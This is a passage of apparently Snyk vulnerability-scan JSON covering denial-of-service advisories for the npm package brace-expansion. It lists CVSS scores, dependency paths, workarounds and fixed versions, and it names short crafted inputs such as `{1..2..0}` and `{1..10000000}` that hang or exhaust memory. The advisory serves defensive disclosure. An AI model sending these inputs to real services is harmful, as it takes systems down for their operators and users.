"publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ 